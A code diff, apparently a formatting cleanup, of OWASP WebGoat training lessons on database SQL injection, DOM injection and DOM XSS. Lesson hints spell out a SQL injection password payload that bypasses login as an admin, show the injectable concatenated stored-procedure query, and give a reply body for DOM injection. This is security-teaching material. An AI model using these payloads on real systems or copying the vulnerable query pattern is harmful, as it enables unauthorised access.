- if (getWebgoatContext().isCodingExercises())
- return new String[] {STAGE1, STAGE2};
- return new String[] {STAGE1};
- }
-
- /**
- * Gets the instructions attribute of the ParameterInjection object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "";
-
- if (!getLessonTracker(s).getCompleted())
+ public void registerActions(String className)
{
- String stage = getStage(s);
- if (STAGE1.equals(stage))
- {
- instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
- + "The goal here is to login as the user "
- + PRIZE_EMPLOYEE_NAME
- + ", who is in the Admin group. "
- + "You do not have the password, but the form is SQL injectable. "
- + "View the EMPLOYEE_LOGIN stored procedure and see if you can "
- + "determine why the exploit exists.";
- }
- else if (STAGE2.equals(stage))
- {
- instructions = "Stage 2: Use bind variables. "
- + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
- + "to use bind variables, rather than string concatenation. "
- + "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
- }
+ registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
+ registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
+ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+
+ // These actions are special in that they chain to other actions.
+ registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
+ registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
+ registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
- return instructions;
- }
-
- public void handleRequest(WebSession s)
- {
- if (s.getLessonSession(this) == null)
- s.openLessonSession(this);
-
- String requestedActionName = null;
- try
+ /**
+ * Gets the category attribute of the CrossSiteScripting object
+ *
+ * @return The category value
+ */
+ public Category getDefaultCategory()
{
- requestedActionName = s.getParser().getStringParameter("action");
+ return Category.INJECTION;
}
- catch (ParameterNotFoundException pnfe)
+
+ /**
+ * Gets the hints attribute of the DirectoryScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
{
- // Let them eat login page.
- requestedActionName = LOGIN_ACTION;
+ List hints = new ArrayList();
+ hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
+ hints
+ .add("This is the code for the query being built and issued by WebGoat:
"
+ + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || ''''; "
+ + "EXECUTE IMMEDIATE stmt INTO v_userid;");
+ hints
+ .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
+
+ // Stage 1
+ hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
+ hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
+
+ // Stage 2
+ hints.add("Change the Stored procedure to use bind variables.");
+
+ return hints;
}
- if (requestedActionName != null)
- {
- try
- {
- LessonAction action = getAction(requestedActionName);
- if (action != null)
- {
- //System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
- if (!action.requiresAuthentication()
- || action.isAuthenticated(s))
- {
- action.handleRequest(s);
- //setCurrentAction(s, action.getNextPage(s));
- }
- }
- else
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (ParameterNotFoundException pnfe)
- {
- System.out.println("Missing parameter");
- pnfe.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (ValidationException ve)
- {
- System.out.println("Validation failed");
- ve.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (UnauthenticatedException ue)
- {
- s.setMessage("Login failed");
- System.out.println("Authentication failure");
- ue.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- s.setMessage("You are not authorized to perform this function");
- System.out.println("Authorization failure");
- ue2.printStackTrace();
- }
- catch (Exception e)
- {
- // All other errors send the user to the generic error page
- System.out.println("handleRequest() error");
- e.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- }
-
- // All this does for this lesson is ensure that a non-null content exists.
- setContent(new ElementContainer());
- }
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the CrossSiteScripting object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "LAB: DB SQL Injection";
- }
-
@Override
- protected boolean getDefaultHidden() {
+ public String[] getStages()
+ {
+ if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
+ return new String[] { STAGE1 };
+ }
+
+ /**
+ * Gets the instructions attribute of the ParameterInjection object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "";
+
+ if (!getLessonTracker(s).getCompleted())
+ {
+ String stage = getStage(s);
+ if (STAGE1.equals(stage))
+ {
+ instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ + "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME
+ + ", who is in the Admin group. "
+ + "You do not have the password, but the form is SQL injectable. "
+ + "View the EMPLOYEE_LOGIN stored procedure and see if you can "
+ + "determine why the exploit exists.";
+ }
+ else if (STAGE2.equals(stage))
+ {
+ instructions = "Stage 2: Use bind variables. "
+ + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
+ + "to use bind variables, rather than string concatenation. "
+ + "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
+ }
+ }
+
+ return instructions;
+ }
+
+ public void handleRequest(WebSession s)
+ {
+ if (s.getLessonSession(this) == null) s.openLessonSession(this);
+
+ String requestedActionName = null;
+ try
+ {
+ requestedActionName = s.getParser().getStringParameter("action");
+ } catch (ParameterNotFoundException pnfe)
+ {
+ // Let them eat login page.
+ requestedActionName = LOGIN_ACTION;
+ }
+
+ if (requestedActionName != null)
+ {
+ try
+ {
+ LessonAction action = getAction(requestedActionName);
+ if (action != null)
+ {
+ // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
+ // action.getActionName());
+ if (!action.requiresAuthentication() || action.isAuthenticated(s))
+ {
+ action.handleRequest(s);
+ // setCurrentAction(s, action.getNextPage(s));
+ }
+ }
+ else
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (ParameterNotFoundException pnfe)
+ {
+ System.out.println("Missing parameter");
+ pnfe.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (ValidationException ve)
+ {
+ System.out.println("Validation failed");
+ ve.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (UnauthenticatedException ue)
+ {
+ s.setMessage("Login failed");
+ System.out.println("Authentication failure");
+ ue.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ s.setMessage("You are not authorized to perform this function");
+ System.out.println("Authorization failure");
+ ue2.printStackTrace();
+ } catch (Exception e)
+ {
+ // All other errors send the user to the generic error page
+ System.out.println("handleRequest() error");
+ e.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ }
+
+ // All this does for this lesson is ensure that a non-null content exists.
+ setContent(new ElementContainer());
+ }
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the CrossSiteScripting object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "LAB: DB SQL Injection";
+ }
+
+ @Override
+ protected boolean getDefaultHidden()
+ {
String driver = getWebgoatContext().getDatabaseDriver();
- boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
+ boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}
-
+
}
\ No newline at end of file
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java
index d94953ce9..1bcabcb76 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.sql.CallableStatement;
@@ -7,7 +8,6 @@ import java.sql.Statement;
import java.sql.Types;
import java.util.List;
import java.util.Vector;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@@ -18,231 +18,209 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Login extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
- LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- ValidationException
- {
- //System.out.println("Login.handleRequest()");
- getLesson().setCurrentAction(s, getActionName());
-
- List employees = getAllEmployees(s);
- setSessionAttribute(s, getLessonName() + "."
- + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
-
- String employeeId = null;
- try
+ public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- employeeId = s.getParser().getStringParameter(
- DBSQLInjection.EMPLOYEE_ID);
- String password = s.getParser().getRawParameter(
- DBSQLInjection.PASSWORD);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- // Attempt authentication
- boolean authenticated = login(s, employeeId, password);
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
+ {
+ // System.out.println("Login.handleRequest()");
+ getLesson().setCurrentAction(s, getActionName());
- if (authenticated)
- {
- // Execute the chained Action if authentication succeeded.
+ List employees = getAllEmployees(s);
+ setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
+
+ String employeeId = null;
try
{
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
- }
- else
- s.setMessage("Login failed");
+ employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID);
+ String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD);
- }
- catch (ParameterNotFoundException pnfe)
- {
- // No credentials offered, so we log them out
- setSessionAttribute(s, getLessonName() + ".isAuthenticated",
- Boolean.FALSE);
- }
- }
+ // Attempt authentication
+ boolean authenticated = login(s, employeeId, password);
-
- public String getNextPage(WebSession s)
- {
- String nextPage = DBSQLInjection.LOGIN_ACTION;
-
- if (isAuthenticated(s))
- nextPage = chainedAction.getNextPage(s);
-
- return nextPage;
-
- }
-
-
- public boolean requiresAuthentication()
- {
- return false;
- }
-
-
- public boolean login(WebSession s, String userId, String password)
- {
- boolean authenticated = false;
-
- try
- {
- String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
-
- try
- {
- CallableStatement statement = WebSession.getConnection(s)
- .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- statement.registerOutParameter(1, Types.INTEGER);
- statement.setInt(2, Integer.parseInt(userId));
- statement.setString(3, password);
- statement.execute();
-
- int rows = statement.getInt(1);
- if (rows > 0) {
- setSessionAttribute(s,
- getLessonName() + ".isAuthenticated", Boolean.TRUE);
- setSessionAttribute(s, getLessonName() + "."
- + DBSQLInjection.USER_ID, userId);
- authenticated = true;
- if (DBSQLInjection.STAGE1.equals(getStage(s)) &&
- DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
- {
- setStageComplete(s, DBSQLInjection.STAGE1);
- }
- } else {
-
- if (DBSQLInjection.STAGE2.equals(getStage(s)))
+ if (authenticated)
+ {
+ // Execute the chained Action if authentication succeeded.
+ try
{
- try
- {
- String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
- statement = WebSession.getConnection(s)
- .prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- statement.registerOutParameter(1, Types.INTEGER);
- statement.setInt(2, Integer.parseInt(userId));
- statement.setString(3, password);
- statement.execute();
-
- rows = statement.getInt(1);
- if (rows > 0)
- setStageComplete(s, DBSQLInjection.STAGE2);
- }
- catch (SQLException sqle2){}
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
}
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error logging in: " + e.getLocalizedMessage());
- e.printStackTrace();
- }
+ else
+ s.setMessage("Login failed");
- //System.out.println("Lesson login result: " + authenticated);
- return authenticated;
- }
-
- public List getAllEmployees(WebSession s)
- {
- List employees = new Vector();
-
- // Query the database for all roles the given employee belongs to
- // Query the database for all employees "owned" by these roles
-
- try
- {
- String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
- + "where employee.userid=roles.userid";
-
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- answer_results.beforeFirst();
- while (answer_results.next())
+ } catch (ParameterNotFoundException pnfe)
{
- int employeeId = answer_results.getInt("userid");
- String firstName = answer_results.getString("first_name");
- String lastName = answer_results.getString("last_name");
- String role = answer_results.getString("role");
- EmployeeStub stub = new EmployeeStub(employeeId, firstName,
- lastName, role);
- employees.add(stub);
+ // No credentials offered, so we log them out
+ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employees");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employees");
- e.printStackTrace();
}
- return employees;
- }
+ public String getNextPage(WebSession s)
+ {
+ String nextPage = DBSQLInjection.LOGIN_ACTION;
+
+ if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
+
+ return nextPage;
+
+ }
+
+ public boolean requiresAuthentication()
+ {
+ return false;
+ }
+
+ public boolean login(WebSession s, String userId, String password)
+ {
+ boolean authenticated = false;
+
+ try
+ {
+ String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
+
+ try
+ {
+ CallableStatement statement = WebSession.getConnection(s)
+ .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ statement.registerOutParameter(1, Types.INTEGER);
+ statement.setInt(2, Integer.parseInt(userId));
+ statement.setString(3, password);
+ statement.execute();
+
+ int rows = statement.getInt(1);
+ if (rows > 0)
+ {
+ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
+ setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId);
+ authenticated = true;
+ if (DBSQLInjection.STAGE1.equals(getStage(s))
+ && DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
+ {
+ setStageComplete(s, DBSQLInjection.STAGE1);
+ }
+ }
+ else
+ {
+
+ if (DBSQLInjection.STAGE2.equals(getStage(s)))
+ {
+ try
+ {
+ String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
+ statement = WebSession.getConnection(s).prepareCall(call2,
+ ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ statement.registerOutParameter(1, Types.INTEGER);
+ statement.setInt(2, Integer.parseInt(userId));
+ statement.setString(3, password);
+ statement.execute();
+
+ rows = statement.getInt(1);
+ if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2);
+ } catch (SQLException sqle2)
+ {
+ }
+ }
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error logging in: " + e.getLocalizedMessage());
+ e.printStackTrace();
+ }
+
+ // System.out.println("Lesson login result: " + authenticated);
+ return authenticated;
+ }
+
+ public List getAllEmployees(WebSession s)
+ {
+ List employees = new Vector();
+
+ // Query the database for all roles the given employee belongs to
+ // Query the database for all employees "owned" by these roles
+
+ try
+ {
+ String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ + "where employee.userid=roles.userid";
+
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ answer_results.beforeFirst();
+ while (answer_results.next())
+ {
+ int employeeId = answer_results.getInt("userid");
+ String firstName = answer_results.getString("first_name");
+ String lastName = answer_results.getString("last_name");
+ String role = answer_results.getString("role");
+ EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
+ employees.add(stub);
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employees");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employees");
+ e.printStackTrace();
+ }
+
+ return employees;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java
index 45faa4561..d0d80a185 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -16,175 +16,156 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
- * @created October 28, 2006
+ * @author Sherif Koussa Macadamian Technologies.
+ * @created October 28, 2006
*/
public class DOMInjection extends LessonAdapter
{
- private final static Integer DEFAULT_RANKING = new Integer(10);
+ private final static Integer DEFAULT_RANKING = new Integer(10);
- private final static String KEY = "key";
+ private final static String KEY = "key";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
- protected Element createContent(WebSession s)
- {
-
- String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
- ElementContainer ec = new ElementContainer();
-
- try
+ protected Element createContent(WebSession s)
{
- String userKey = s.getParser().getRawParameter(KEY, "");
- String fromAJAX = s.getParser().getRawParameter("from", "");
- if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0
- && userKey.equals(key))
- {
- s.getResponse().setContentType("text/html");
- s.getResponse().setHeader("Cache-Control", "no-cache");
- PrintWriter out = new PrintWriter(s.getResponse()
- .getOutputStream());
- out.print("document.forms[0].SUBMIT.disabled = false;");
- out.flush();
- out.close();
+
+ String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
+ ElementContainer ec = new ElementContainer();
+
+ try
+ {
+ String userKey = s.getParser().getRawParameter(KEY, "");
+ String fromAJAX = s.getParser().getRawParameter("from", "");
+ if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
+ {
+ s.getResponse().setContentType("text/html");
+ s.getResponse().setHeader("Cache-Control", "no-cache");
+ PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
+ out.print("document.forms[0].SUBMIT.disabled = false;");
+ out.flush();
+ out.close();
+ return ec;
+ }
+ if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
+ {
+ makeSuccess(s);
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+
+ String lineSep = System.getProperty("line.separator");
+ String script = "" + lineSep;
+
+ ec.addElement(new StringElement(script));
+ ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
+ ec.addElement(new BR()
+ .addElement("Please enter the license key that was emailed to you to start using the application."));
+ ec.addElement(new BR());
+ ec.addElement(new BR());
+ Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center");
+
+ TR tr = new TR();
+ tr.addElement(new TD(new StringElement("License Key: ")));
+
+ Input input1 = new Input(Input.TEXT, KEY, "");
+ input1.addAttribute("onkeyup", "validate();");
+ tr.addElement(new TD(input1));
+ t1.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD(" ").setColSpan(2));
+
+ t1.addElement(tr);
+
+ tr = new TR();
+ Input b = new Input();
+ b.setType(Input.SUBMIT);
+ b.setValue("Activate!");
+ b.setName("SUBMIT");
+ b.setDisabled(true);
+ tr.addElement(new TD(" "));
+ tr.addElement(new TD(b));
+
+ t1.addElement(tr);
+ ec.addElement(t1);
+
return ec;
- }
- if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
- {
- makeSuccess(s);
- }
}
- catch (Exception e)
+
+ public Element getCredits()
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
- String lineSep = System.getProperty("line.separator");
- String script = "" + lineSep;
+ protected Category getDefaultCategory()
+ {
- ec.addElement(new StringElement(script));
- ec.addElement(new BR().addElement(new H1()
- .addElement("Welcome to WebGoat Registration Page:")));
- ec
- .addElement(new BR()
- .addElement("Please enter the license key that was emailed to you to start using the application."));
- ec.addElement(new BR());
- ec.addElement(new BR());
- Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
- .setWidth("70%").setAlign("center");
+ return Category.AJAX_SECURITY;
+ }
- TR tr = new TR();
- tr.addElement(new TD(new StringElement("License Key: ")));
+ protected Integer getDefaultRanking()
+ {
- Input input1 = new Input(Input.TEXT, KEY, "");
- input1.addAttribute("onkeyup", "validate();");
- tr.addElement(new TD(input1));
- t1.addElement(tr);
+ return DEFAULT_RANKING;
+ }
- tr = new TR();
- tr.addElement(new TD(" ").setColSpan(2));
+ protected List getHints(WebSession s)
+ {
- t1.addElement(tr);
+ List hints = new ArrayList();
+ hints.add("This page is using XMLHTTP to comunicate with the server.");
+ hints.add("Try to find a way to inject the DOM to enable the Activate button.");
+ hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;");
+ return hints;
+ }
- tr = new TR();
- Input b = new Input();
- b.setType(Input.SUBMIT);
- b.setValue("Activate!");
- b.setName("SUBMIT");
- b.setDisabled(true);
- tr.addElement(new TD(" "));
- tr.addElement(new TD(b));
-
- t1.addElement(tr);
- ec.addElement(t1);
-
- return ec;
- }
-
-
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
- }
-
-
- protected Category getDefaultCategory()
- {
-
- return Category.AJAX_SECURITY;
- }
-
-
- protected Integer getDefaultRanking()
- {
-
- return DEFAULT_RANKING;
- }
-
-
- protected List getHints(WebSession s)
- {
-
- List hints = new ArrayList();
- hints.add("This page is using XMLHTTP to comunicate with the server.");
- hints.add("Try to find a way to inject the DOM to enable the Activate button.");
- hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;");
- return hints;
- }
-
-
- public String getTitle()
- {
- return "DOM Injection";
- }
+ public String getTitle()
+ {
+ return "DOM Injection";
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java
index ee9526357..332ae8f2f 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -18,31 +18,40 @@ import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script;
import org.owasp.webgoat.session.*;
-public class DOMXSS extends SequentialLessonAdapter {
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
+public class DOMXSS extends SequentialLessonAdapter
+{
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
private final static String PERSON = "person";
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- protected Element createContent(WebSession s) {
+ protected Element createContent(WebSession s)
+ {
return super.createStagedContent(s);
}
- protected Element doStage1(WebSession s) throws Exception {
+ protected Element doStage1(WebSession s) throws Exception
+ {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
- if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) {
+ if (attackString.toString().toLowerCase().indexOf("img") != -1
+ && attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1)
+ {
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. ");
}
@@ -50,14 +59,18 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
- protected Element doStage2(WebSession s) throws Exception {
